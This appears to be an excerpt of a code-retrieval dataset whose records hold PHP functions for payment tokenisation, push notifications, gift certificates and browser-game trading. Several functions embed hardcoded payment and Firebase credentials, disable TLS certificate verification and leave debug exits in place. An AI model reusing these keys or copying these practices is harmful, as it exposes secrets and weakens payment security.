print_r($result);\n\t\t\t $response_array = explode('&', $result); //print_r($response_array);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//Need to remove later//\n\t\t\t\t\n\t\t\t\t\t$response_array = $result;\n\t\t\t\t \n\t\t\t\t// End here // \n\t\t\t\t \n\t\t\t\t //print_r($response_array);exit;\n\t\t\t\t$response_assoc = array();\n\t\t\t\tif (count($response_array) > 1) {\n\t\t\t\t\tforeach ($response_array as $value) {\n\t\t\t\t\t\t$tmp = explode('=', $value);\n\t\t\t\t\t\tif (count($tmp) > 1) {\n\t\t\t\t\t\t\t$response_assoc[$tmp[0]] = $tmp[1];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t \n\t\t\t\t// Analyze the result string\n\t\t\t\tif (!isset($response_assoc['Response'])) {\n\t\t\t\t $this->errorPayment['token'] ='There is authentication issue!!';\n\t\t $this->responsePayment['tranStatus']= '0';\n\t\t\t\t\t \n\t\t\t\t\t/**\n\t\t\t\t\t * When there is no 'Response' parameter it either means\n\t\t\t\t\t * that some pre-transaction error happened (like authentication\n\t\t\t\t\t * problems), in which case the result string will be in HTML format,\n\t\t\t\t\t * explaining the error, or the request was made for generate token only\n\t\t\t\t\t * (in this case the response string will contain only 'TranzilaTK'\n\t\t\t\t\t * parameter)\n\t\t\t\t\t */\n\t\t\t\t} else if ($response_assoc['Response'] !== '000') {\n\t\t\t\t\t$this->errorPayment['token'] ='Transaction get Failure due to bad creditcard information';\n\t\t $this->responsePayment['tranStatus']= '0';\n\t\t\t\t \n\t\t\t\t\t// Any other than '000' code means transaction failure\n\t\t\t\t\t// (bad card, expiry, etc..)\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t $tranzilaconfirmation = $response_assoc['Tempref']; //ConfirmationCode \n\t\t\t\t\t\t$this->responsePayment['tranStatus']= '1'; \n\t\t\t\t\t\t$this->responsePayment['transation_id']= $tranzilaconfirmation; \n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t //print_r($this->responsePayment);exit;\n\t\t\t}", "title": "" }, { "docid": "e645ad21a1b29a59c60cabbcbb7e6e46", "score": "0.5371894", "text": "function donfo_create_token($data){\n $tranzila_api_host = 'https://secure5.tranzila.com';\n $tranzila_api_path = '/cgi-bin/tranzila71u.cgi';\n $supplier = 'acarragrotok'; // enter your supplier name\n $tranzilapw = 'Il37LK'; //enter your tranzila pw\n $tranzilatoken = '';\n \n $expdate = str_replace(\"/\", \"\", $data['expiration_date']);\n $expdate = preg_replace('/\\s+/', '', $expdate);\n\t// Prepare transaction parameters>\n\t$query_parameters['supplier'] = $supplier;\n // $query_parameters['sum'] = $data['total_amount']; //Transaction sum\n//\t$query_parameters['currency'] = $data['currency']; //Type of currency 1 NIS, 2 USD, 978 EUR, 826 GBP, 392 JPY\n\t$query_parameters['ccno'] = $data['credit_card_number']; // Test card number = '12312312'\n// $query_parameters['expdate'] = $expdate ;// Card expiry date: mmyy ='0820'\n if($data['currency'] == 1){\n // $query_parameters['myid'] = $data['id_number']; // ID number = '12312312'\n }\n else{\n // $query_parameters['myid'] = '';\n }\n // $query_parameters['cred_type'] = '1'; // This field specifies the type of transaction, 1 - normal transaction, 6 - credit, 8 - payments\n\t$query_parameters['TranzilaPW'] = $tranzilapw; // Token password if required\n // $query_parameters['tranmode'] = 'V'; // Mode for verify transaction\n $query_parameters['TranzilaTK'] = 1;\n\t// Prepare query string\n\t$query_string = '';\n foreach ($query_parameters as $name => $value) {\n $query_string .= $name . '=' . $value . '&';\n }\n $query_string = substr($query_string, 0, -1); // Remove trailing '&'\n // Initiate CURL\n\t\n\t \n $cr = curl_init();\n curl_setopt($cr, CURLOPT_URL,$tranzila_api_host.$tranzila_api_path);\n curl_setopt($cr, CURLOPT_POST, 1);\n curl_setopt($cr, CURLOPT_FAILONERROR, true);\n curl_setopt($cr, CURLOPT_POSTFIELDS, $query_string);\n curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($cr, CURLOPT_SSL_VERIFYPEER, 0);\n // Execute request\n $result = curl_exec($cr);\n $error = curl_error($cr);\n if (!empty($error)) {\n return ($error);\n }\n curl_close($cr);print_r($result);exit;\n // Preparing associative array with response data\n $response_array = explode('&', $result);print_r($response_array);exit;\n if (count($response_array) >= 1) {\n foreach ($response_array as $value) {\n $tmp = explode('=', $value);\n if (count($tmp) > 1) {\n $response_assoc[$tmp[0]] = $tmp[1];\n }\n }\n }\n // Analyze the result string\n if (!isset($response_assoc['TranzilaTK'])) {\n //getting a token was unsuccessful\n\t\t\n //getting a token was unsuccessful \n \n\t\tforeach($response_assoc as $k=> $v){\n\t\t\t$res = \tfilter_var($v, FILTER_SANITIZE_STRING);\n\t\t\t echo '<div class=\"error\">'.$k.': <p>'.$res.'</p></div>';\n\t\t\t\n\t\t} \n \n } else {\n $tranzilatoken = $response_assoc['TranzilaTK']; //TranzilaTK\n //submit tranzila token value into the tranzilatoken field\n \n }\n return $tranzilatoken;\n}", "title": "" }, { "docid": "93b12eab7d368d88b7f83e2241457c3b", "score": "0.5368046", "text": "public function bidding(Request $request){\n $this->validate($request, [\n 'offered_price' => 'required',\n ]);\n $order_id = $request->json('order_id');\n $proposal_by = $request->json('proposal_by');\n $offered_price = $request->json('offered_price');\n $comment = $request->json('comment');\n $order_results = Order::find($order_id);\n $results_token = DeviceToken::where(['role_id' => '2','user_id' => $order_results->createdby])->OrderBy('id', 'desc')->first();\n\n $checks = OrderProposal::where(['order_id' => $order_id, 'proposal_by' => $proposal_by])->get();\n\n if (count($checks) < 1) {\n //Problem here\n $hasil = OrderProposal::create([\n 'order_id' => $order_id,\n 'proposal_by' => $proposal_by,\n 'offered_price' => $offered_price,\n 'comment' => $comment,\n ]);\n if ($results_token) {\n $client = new \\GuzzleHttp\\Client();\n\n $url = 'https://fcm.googleapis.com/fcm/send';\n $headers = [\n 'Content-Type' =>'application/json',\n 'Authorization' => 'key=AIzaSyAoU0v2lfCkHgBcWV0xWzOb6l0lG8UcGDo'\n\n ];\n $notification = [\n \"title\" => \"Status Proyek\",\n \"body\" => \"Ada yang bid proyek anda \",\n \"order_id\" => $order_id,\n \"subject\" => $order_results->subject,\n \"sound\" => \"default\",\n \"click_action\" => \"FCM_PLUGIN_ACTIVITY\",\n \"icon\" =>\"fcm_push_icon\"\n ];\n\n $data = [\n \"title\" => \"Status Proyek\",\n \"body\" => \"Ada yang bid proyek anda\",\n \"order_id\" => $order_id,\n \"subject\" => $order_results->subject,\n \"action\" => \"bidprovider\",\n \"forceStart\" => \"1\"\n ];\n\n $response = $client->post('https://fcm.googleapis.com/fcm/send', [\n 'headers' => ['Content-Type' => 'application/json',\n 'Authorization' => 'key=AIzaSyAoU0v2lfCkHgBcWV0xWzOb6l0lG8UcGDo'\n ],\n 'body' => json_encode([\n 'notification'=> $notification,\n 'data' => $data,\n \"to\" => $results_token->token,\n \"priority\" => \"high\"\n ])\n ]);\n $result_subscribe = $response->getBody();\n }\n return response()->json([\n 'status' => \"1\",\n 'data' => $hasil\n ]);\n } else{\n $hasil = null;\n return response()->json([\n 'status' => \"2\",\n 'message' => \"double\",\n 'data' => $hasil\n ]);\n }\n\n\n\n\n }", "title": "" }, { "docid": "8c65125d2b5d36451adfdd7043e5236b", "score": "0.5361435", "text": "function m_giftCertBuilder()\n\t{\n\t\t$libFunc=new c_libFunctions();\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_GIFTCERT_FILE\",$this->giftCertTemplate);\n\t\t$this->ObTpl->set_block(\"TPL_GIFTCERT_FILE\",\"TPL_MSG_BLK\", \"msg_blk\");\n\t\t#SETTING TEMPLATE VARIABLE\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SALESURL\",SITE_URL.\"sales/\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SITEURL\",SITE_URL);\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CURRENCY\",CONST_CURRENCY);\n\t\t#INTIALIZING\n\t\t$this->ObTpl->set_var(\"msg_blk\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",\"\");\n\t\t$giftCertRs[0]->vGiftcode =\"\";\n\t\t$giftCertRs[0]->fAmount =\"\";\n\n\t\t#DISPLAYING MESSAGES\n\t\tif(isset($this->request['msg']) && $this->request['msg']==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_GIFTCERT_UPDATED);\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\t\t\n\t\tif($this->err==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",$this->errMsg);\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\t\n\t\n\t\tif(isset($_POST))\n\t\t{\n\t\t\tif(isset($this->request['code']))\n\t\t\t\t$giftCertRs[0]->vGiftcode=$this->request['code'];\n\t\t\tif(isset($this->request['amount']))\n\t\t\t\t$giftCertRs[0]->fAmount=$this->request['amount'];\n\t\t}\n\t\n\n\t\t#START DISPLAY MODULES\n\t\tif(isset($this->request['id']) && !empty($this->request['id']) && is_numeric($this->request['id']))\n\t\t{\n\t\t\tif($this->err==0)\n\t\t\t{\n\t\t\t\t#DATABASE QUERY\n\t\t\t\t$this->obDb->query = \"SELECT * FROM \".GIFTCERTIFICATES.\" WHERE iGiftcertid_PK='\".$this->request['id'].\"'\";\n\t\t\t\t$giftCertRs = $this->obDb->fetchQuery();\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",$this->libFunc->dateFormat1($giftCertRs[0]->tmBuildDate));\n\t\t\t}\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MODE\",\"edit\");\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",$this->request['id']);\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_BTNLBL\",LBL_EDITGIFTCERT_BTN);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",\"\");\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MODE\",\"add\");\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_BTNLBL\",LBL_ADDGIFTCERT_BTN);\n\t\t}\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CODE\",$this->libFunc->m_displayContent($giftCertRs[0]->vGiftcode));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_AMOUNT\",number_format(floatval($giftCertRs[0]->fAmount),2));\n\t\treturn($this->ObTpl->parse(\"return\",\"TPL_GIFTCERT_FILE\"));\n\t}", "title": "" }, { "docid": "c9971e0f6f3f797c874d907469b55ea7", "score": "0.5355984", "text": "function vip_buy(){\r\n $_SESSION['sex']=f_bdika_sex();\r\n $_SESSION['spd']=Rand(9,11);\r\n $_SESSION['agl']=Rand(9,11);\r\n $_SESSION['tch']=Rand(9,11);\r\n $_SESSION['jmp']=Rand(9,11);\r\n $_SESSION['nuh']=Rand(9,11);\r\n $_SESSION['fnd']=Rand(9,11);\r\n $_SESSION['ttl']=($_SESSION['spd']+$_SESSION['agl']+$_SESSION['tch']+$_SESSION['jmp']+$_SESSION['nuh']+$_SESSION['fnd']);\r\n $_SESSION['ttl']=number_format ($_SESSION['ttl'] , $decimals = 1 ,$dec_point = \".\" , $thousands_sep = \" \" );\r\n\r\n $dna = rand_dog();\r\n $_SESSION['url']=do_url($dna);\r\n $_SESSION['url_rev'] = strrev($_SESSION['url']);\r\n $_SESSION['url_rev'] = str_split($_SESSION['url_rev']);\r\n //debug($url_rev);\r\n $_SESSION['bb']=$_SESSION['url_rev'][11];\r\n $_SESSION['hr']=$_SESSION['url_rev'][17];\r\n\r\n //echo '<br>b= ' . $_SESSION['bb'] . 'hr ' . $_SESSION['hr'];\r\n \r\n if('сука'==$_SESSION['sex'])\r\n $_SESSION['pic_sex']='<img src = \"/pic/female_mini.png\">';\r\n else\r\n $_SESSION['pic_sex']='<img src = \"/pic/male_mini.png\">';\r\n\r\n\r\n //////////////////// проверка цены ........\r\n $_SESSION['cost']=0;\r\n if('сука'==$_SESSION['sex']){\r\n if(1==$_SESSION['hr']){ //голая\r\n if(0==$_SESSION['bb'])//шоко\r\n $_SESSION['cost']=75000;\r\n else\r\n $_SESSION['cost']=45000;\r\n }\r\n if(0==$_SESSION['hr']){ //пух\r\n if(0==$_SESSION['bb'])//шоко\r\n $_SESSION['cost']=40000;\r\n else\r\n $_SESSION['cost']=25000;\r\n }\r\n\r\n }\r\n if('кобель'==$_SESSION['sex']){\r\n if(1==$_SESSION['hr']){ //голый\r\n if(0==$_SESSION['bb'])//шоко\r\n $_SESSION['cost']=55000;\r\n else\r\n $_SESSION['cost']=35000;\r\n }\r\n if(0==$_SESSION['hr']){ //пух\r\n if(0==$_SESSION['bb'])//шоко\r\n $_SESSION['cost']=35000;\r\n else\r\n $_SESSION['cost']=10000;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "69bf58b22ae03797708114b2ec32537a", "score": "0.53559035", "text": "function processOffer($getPage_connection2,$offerInfo1) {\n\t$payup = false;\n\tif ($offerInfo1[\"givingItems\"][0] > 0 || $offerInfo1[\"receivingItems\"][0] > 0) {\n\t\t// toNation: the target nation of action\n\t\t// fromNation: the source nation of action\n\t\t$toNationInfo = getNationInfo($getPage_connection2,$offerInfo1[\"toNation\"]);\n\t\t$fromNationInfo = getNationInfo($getPage_connection2,$offerInfo1[\"fromNation\"]);\n\n\t\t$notEnough = array(0=>false,1=>\"\");\n\n\t\tfor ($zz=0; $zz < count($toNationInfo[\"goods\"]); $zz++) {\n\t\t\t$new_to_goods = $toNationInfo[\"goods\"][$zz];\n\t\t} // for\n\t\tfor ($zz=0; $zz < count($toNationInfo[\"resources\"]); $zz++) {\n\t\t\t$new_to_resources = $toNationInfo[\"resources\"][$zz];\n\t\t} // for\n\t\t$new_to_food = $toNationInfo[\"food\"];\n\t\t$new_to_money = $toNationInfo[\"money\"];\n\n\t\tfor ($zz=0; $zz < count($fromNationInfo[\"goods\"]); $zz++) {\n\t\t\t$new_from_goods = $fromNationInfo[\"goods\"][$zz];\n\t\t} // for\n\t\tfor ($zz=0; $zz < count($fromNationInfo[\"resources\"]); $zz++) {\n\t\t\t$new_from_resources = $fromNationInfo[\"resources\"][$zz];\n\t\t} // for\n\t\t$new_from_food = $fromNationInfo[\"food\"];\n\t\t$new_from_money = $fromNationInfo[\"money\"];\n\n\t\tif ($offerInfo1[\"givingItems\"][0] > 0) {\n\t\t\tfor ($z=0; $z < count($offerInfo1[\"givingItems\"]); $z++) {\n\t\t\t\t$new_bonus = 1;\n\n\t\t\t\tfor ($y=0; ($y*10) > $offerInfo1[\"givingQuantities\"][$z]; $y++) {\n\t\t\t\t\t$new_bonus = $y + $new_bonus;\n\t\t\t\t} // for\n\n\t\t\t\t// set new sell strength\n\t\t\t\tif ($offerInfo1[\"givingTypes\"][$z] == \"goods\") {\n\t\t\t\t\t$itemInfo1 = getGoodsInfo($getPage_connection2,$offerInfo1[\"givingItems\"][$z]);\n\t\t\t\t\t$new_buyStrength = $itemInfo1[\"buyStrength\"];\n\t\t\t\t\t$new_sellStrength = $itemInfo1[\"sellStrength\"] + $new_bonus;\n\t\t\t\t\tsetGoodsInfo($getPage_connection2,$itemInfo1[\"id\"],$itemInfo1[\"name\"],$itemInfo1[\"productionRequired\"],$itemInfo1[\"resourceTypesRequired\"],$itemInfo1[\"resourceQuantitiesRequired\"],$itemInfo1[\"improvementTypesRequired\"],$itemInfo1[\"improvementQuantitiesRequired\"],$itemInfo1[\"improvementLevelRequired\"],$new_buyStrength,$new_sellStrength);\n\n\t\t\t\t\tfor ($zz=0; $zz < count($fromNationInfo[\"goods\"]); $zz++) {\n\t\t\t\t\t\tif ($offerInfo1[\"givingQuantities\"][$z] <= $fromNationInfo[\"goods\"][$zz]) {\n\t\t\t\t\t\t\t$new_to_goods[$zz] = $toNationInfo[\"goods\"][$zz] + $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t\t$new_from_goods[$zz] = $fromNationInfo[\"goods\"][$zz] - $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t\t$notEnough[1] = \"offer\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} // else\n\t\t\t\t\t} // for\n\n\t\t\t\t} else if ($offerInfo1[\"givingTypes\"][$z] == \"resources\") {\n\t\t\t\t\t$itemInfo1 = getResourceTypeInfo($getPage_connection2,$offerInfo1[\"givingItems\"][$z]);\n\t\t\t\t\t$new_buyStrength = $itemInfo1[\"buyStrength\"];\n\t\t\t\t\t$new_sellStrength = $itemInfo1[\"sellStrength\"] + $new_bonus;\n\t\t\t\t\tsetResourceTypeInfo($getPage_connection2,$itemInfo1[\"id\"],$itemInfo1[\"name\"],$itemInfo1[\"incompatibleWith\"],$itemInfo1[\"image\"],$new_buyStrength,$new_sellStrength);\n\n\t\t\t\t\tfor ($zz=0; $zz < count($fromNationInfo[\"resources\"]); $zz++) {\n\t\t\t\t\t\tif ($offerInfo1[\"givingQuantities\"][$z] <= $fromNationInfo[\"resources\"][$zz]) {\n\t\t\t\t\t\t\t$new_to_resources[$zz] = $toNationInfo[\"resources\"][$zz] + $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t\t$new_from_resources[$zz] = $fromNationInfo[\"resources\"][$zz] - $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t\t$notEnough[1] = \"offer\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} // else\n\t\t\t\t\t} // for\n\n\t\t\t\t} else {\n\t\t\t\t\tif ($offerInfo1[\"givingQuantities\"][$z] <= $fromNationInfo[\"money\"]) {\n\t\t\t\t\t\t$new_to_money = $toNationInfo[\"money\"] + $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t$new_from_money = $fromNationInfo[\"money\"] - $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t$notEnough[1] = \"offer\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} // else\n\t\t\t\t} // else\n\t\t\t} // for\n\t\t} // if\n\n\t\tif ($offerInfo1[\"receivingItems\"][0] > 0) {\n\t\t\tfor ($z=0; $z < count($offerInfo1[\"receivingItems\"]); $z++) {\n\t\t\t\t// set new buy strength\n\t\t\t\tif ($offerInfo1[\"receivingTypes\"][$z] == \"goods\") {\n\t\t\t\t\t$itemInfo1 = getGoodsInfo($getPage_connection2,$offerInfo1[\"receivingItems\"][$z]);\n\t\t\t\t\t$new_buyStrength = $itemInfo1[\"buyStrength\"] + $new_bonus;\n\t\t\t\t\t$new_sellStrength = $itemInfo1[\"sellStrength\"];\n\t\t\t\t\tsetGoodsInfo($getPage_connection2,$itemInfo1[\"id\"],$itemInfo1[\"name\"],$itemInfo1[\"productionRequired\"],$itemInfo1[\"resourceTypesRequired\"],$itemInfo1[\"resourceQuantitiesRequired\"],$itemInfo1[\"improvementTypesRequired\"],$itemInfo1[\"improvementQuantitiesRequired\"],$itemInfo1[\"improvementLevelRequired\"],$new_buyStrength,$new_sellStrength);\n\n\t\t\t\t\tfor ($zz=0; $zz < count($fromNationInfo[\"goods\"]); $zz++) {\n\t\t\t\t\t\tif ($offerInfo1[\"givingQuantities\"][$z] <= $fromNationInfo[\"goods\"][$zz]) {\n\t\t\t\t\t\t\t$new_to_goods[$zz] = $toNationInfo[\"goods\"][$zz] - $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t\t$new_from_goods[$zz] = $fromNationInfo[\"goods\"][$zz] + $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t\t$notEnough[1] = \"demand\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} // else\n\t\t\t\t\t} // for\n\n\t\t\t\t} else if ($offerInfo1[\"receivingTypes\"][$z] == \"resources\") {\n\t\t\t\t\t$itemInfo1 = getResourceTypeInfo($getPage_connection2,$offerInfo1[\"receivingItems\"][$z]);\n\t\t\t\t\t$new_buyStrength = $itemInfo1[\"buyStrength\"] + $new_bonus;\n\t\t\t\t\t$new_sellStrength = $itemInfo1[\"sellStrength\"];\n\t\t\t\t\tsetResourceTypeInfo($getPage_connection2,$itemInfo1[\"id\"],$itemInfo1[\"name\"],$itemInfo1[\"incompatibleWith\"],$itemInfo1[\"image\"],$new_buyStrength,$new_sellStrength);\n\n\t\t\t\t\tfor ($zz=0; $zz < count($fromNationInfo[\"resources\"]); $zz++) {\n\t\t\t\t\t\tif ($offerInfo1[\"givingQuantities\"][$z] <= $fromNationInfo[\"resources\"][$zz]) {\n\t\t\t\t\t\t\t$new_to_resources[$zz] = $toNationInfo[\"resources\"][$zz] - $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t\t$new_from_resources[$zz] = $fromNationInfo[\"resources\"][$zz] + $offerInfo1[\"givingQuantities\"][$z];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t\t$notEnough[1] = \"offer\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} // else\n\t\t\t\t\t} // for\n\n\t\t\t\t} else if ($offerInfo1[\"receivingTypes\"][$z] == \"food\") {\n\t\t\t\t\tif ($offerInfo1[\"receivingQuantities\"][$z] <= $toNationInfo[\"food\"]) {\n\t\t\t\t\t\t$new_to_food = $toNationInfo[\"food\"] - $offerInfo1[\"receivingQuantities\"][$z];\n\t\t\t\t\t\t$new_from_food = $fromNationInfo[\"food\"] + $offerInfo1[\"receivingQuantities\"][$z];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t$notEnough[1] = \"demand\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} // else\n\n\t\t\t\t} else {\n\t\t\t\t\tif ($offerInfo1[\"receivingQuantities\"][$z] <= $toNationInfo[\"money\"]) {\n\t\t\t\t\t\t$new_to_money = $toNationInfo[\"money\"] - $offerInfo1[\"receivingQuantities\"][$z];\n\t\t\t\t\t\t$new_from_money = $fromNationInfo[\"money\"] + $offerInfo1[\"receivingQuantities\"][$z];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$notEnough[0] = true;\n\t\t\t\t\t\t$notEnough[1] = \"demand\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} // else\n\t\t\t\t} // else\n\t\t\t} // for\n\t\t} // if\n\n\t\tif ($notEnough[0] === false) {\n\t\t\t// give items\n\t\t\tsetNationInfo($getPage_connection2,$toNationInfo[\"id\"],$toNationInfo[\"name\"],$toNationInfo[\"home\"],$toNationInfo[\"formal\"],$toNationInfo[\"flag\"],$toNationInfo[\"production\"],$new_to_money,$toNationInfo[\"debt\"],$toNationInfo[\"happiness\"],$new_to_food,$toNationInfo[\"authority\"],$toNationInfo[\"authorityChanged\"],$toNationInfo[\"economy\"],$toNationInfo[\"economyChanged\"],$toNationInfo[\"organizations\"],$toNationInfo[\"invites\"],$new_to_goods,$new_to_resources,$toNationInfo[\"population\"],$toNationInfo[\"strike\"]);\n\t\t\t// receive items\n\t\t\tsetNationInfo($getPage_connection2,$fromNationInfo[\"id\"],$fromNationInfo[\"name\"],$fromNationInfo[\"home\"],$fromNationInfo[\"formal\"],$fromNationInfo[\"flag\"],$fromNationInfo[\"production\"],$new_from_money,$fromNationInfo[\"debt\"],$fromNationInfo[\"happiness\"],$new_from_food,$fromNationInfo[\"authority\"],$fromNationInfo[\"authorityChanged\"],$fromNationInfo[\"economy\"],$fromNationInfo[\"economyChanged\"],$fromNationInfo[\"organizations\"],$fromNationInfo[\"invites\"],$new_from_goods,$new_from_resources,$fromNationInfo[\"population\"],$fromNationInfo[\"strike\"]);\n\t\t\t// set offer status\n\t\t\tsetOfferInfo($getPage_connection2,$_SESSION[\"action_id\"],$offerInfo1[\"fromNation\"],$offerInfo1[\"toNation\"],$offerInfo1[\"givingItems\"],$offerInfo1[\"receivingItems\"],$offerInfo1[\"givingQuantities\"],$offerInfo1[\"receivingQuantities\"],$offerInfo1[\"givingTypes\"],$offerInfo1[\"receivingTypes\"],$offerInfo1[\"turns\"],$offerInfo1[\"counter\"],1);\n\t\t} else {\n\t\t\t$payup = true;\n\t\t} // else\n\t} else {\n\t} // else\n\n\t// if trade is not completed in full, freeze the route for the nation at fault\n\tif ($payup === true) {\n\t\t// who's responsible?\n\t\t// target nation's fault\n\t\tif ($notEnough[1] == \"demand\") {\n\t\t\tfor ($x=0; $x < count($toTradeInfo[\"offers\"]); $x++) {\n\t\t\t\t$new_worth = $toTradeInfo[\"worth\"];\n\t\t\t\t$new_worth[$x] = 0;\n\t\t\t\tsetTradeInfo($getPage_connection2,$toTradeInfo[\"id\"],$toTradeInfo[\"nation\"],$toTradeInfo[\"routes\"],$new_worth,$toTradeInfo[\"offers\"],$toTradeInfo[\"limit\"]);\n\t\t\t} // for\n\t\t\t// source nation's fault\n\t\t} else {\n\t\t\tfor ($x=0; $x < count($fromTradeInfo[\"offers\"]); $x++) {\n\t\t\t\t$new_worth = $fromTradeInfo[\"worth\"];\n\t\t\t\t$new_worth[$x] = 0;\n\t\t\t\tsetTradeInfo($getPage_connection2,$fromTradeInfo[\"id\"],$fromTradeInfo[\"nation\"],$fromTradeInfo[\"routes\"],$new_worth,$fromTradeInfo[\"offers\"],$fromTradeInfo[\"limit\"]);\n\t\t\t} // for\n\t\t} // else\n\t} // if\n}", "title": "" }, { "docid": "65d3e0bbc2c3ccfc58f76533aa9dffc5", "score": "0.5355301", "text": "public function buy_license_type() {\n\t\t\t$type\t = $this->input->post('type');\n\t\t\t$val\t = $this->input->post('val');\n\t\t\t\n\t\t\tif($val == 1) {\n\t\t\t\t$this->load->model('create_buildings_model');\n\n\t\t\t\tif($type == 1) {\n\t\t\t\t\t$decr = 'Лиценз за казино';\n\t\t\t\t\t$money = 250000;\n\t\t\t\t\t$new_power = $this->create_buildings_model->us_con('uc_power') + 75;\n\t\t\t\t\t$tuz = 250;\n\t\t\t\t} else if($type == 2) {\n\t\t\t\t\t$decr = 'Лиценз за добив на злато';\n\t\t\t\t\t$money = 5500000;\n\t\t\t\t\t$new_power = $this->create_buildings_model->us_con('uc_power') + 250;\n\t\t\t\t\t$tuz = 150;\n\t\t\t\t} else if($type == 3) {\n\t\t\t\t\t$decr = 'Лиценз за добив на нефт';\n\t\t\t\t\t$money = 30000000;\n\t\t\t\t\t$new_power = $this->create_buildings_model->us_con('uc_power') + 1000;\n\t\t\t\t\t$tuz = 500;\n\t\t\t\t}\n\t\t\t\t$q = $this->db->get_where('licenses', array('license_user_id'=>$this->user_id, 'license_type'=>$type));\n\t\t\t\tif($q->num_rows() > 0) {\n\t\t\t\t\treturn 'already_has';\n\t\t\t\t} else if($q->num_rows() == 0) {\n\t\t\t\t\tif($this->create_buildings_model->us_con('uc_energy')<55) {\n\t\t\t\t\t\treturn 'no_enough_energy';\n\t\t\t\t\t} else if($this->create_buildings_model->us_con('uc_money')<$money){\n\t\t\t\t\t\treturn 'no_enough_money';\n\t\t\t\t\t}\telse {\n\t\t\t\t\t\t/* INSERTS THE INFTO INTO licenses table */\n\t\t\t\t\t\t$data = array(\n\t\t\t\t\t\t\t'license_user_id'\t\t=> $this->user_id,\n\t\t\t\t\t\t\t'license_type'\t\t\t=> $type,\n\t\t\t\t\t\t\t'license_description'\t=> $decr,\n\t\t\t\t\t\t\t'license_ip'\t\t\t=> $_SERVER['REMOTE_ADDR']\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$this->db->insert('licenses', $data);\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* UPDATES USER'S CONDITIONS */\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->create_buildings_model->user_conditions_money_rest($new_power, $money, 55, 35, 0, $tuz);\n\t\t\t\t\t\t$this->create_buildings_model->insert_users_action('bought_license', \"Купен \".$decr, $money, 30);\n\t\t\t\t\t\treturn 'license_bought';\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\texit();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "f2cbd380d023fb48ed975f1bfc2b0bbe", "score": "0.5347043", "text": "protected function _preparePayerNew(){\r\n\r\n $order = $this->_service->getOrder();\r\n $helper = $this->_getHelper();\r\n $transactionReference = $this->_service->getTransactionReference();\r\n\r\n $address = $order->getBillingAddress();\r\n\r\n $request = array(\r\n 'attributes' => array(\r\n 'timestamp' => $helper->getTimestamp(),\r\n 'type' => 'payer-new'\r\n ),\r\n 'merchantid' => array('value' => $helper->getConfigData('realex','vendor')),\r\n 'orderid' => array('value' => $transactionReference . '-payer')\r\n );\r\n\r\n $this->_payerRef = $helper->createPayerRef($this->_customer);\r\n $payer = array(\r\n 'attributes' => array(\r\n 'ref' => $this->_payerRef,\r\n 'type'=> $helper->getConfigData('realvault','payer_type')\r\n ),\r\n 'firstname' => array('value' => $helper->ss($this->_customer->getFirstname(),30)),\r\n 'surname' => array('value' => $helper->ss($this->_customer->getLastname(),50)),\r\n 'email' => array('value' => $helper->realexEmail($helper->ss($this->_customer->getEmail(),50)))\r\n );\r\n\r\n $payerAddress = array(\r\n\r\n 'line1' 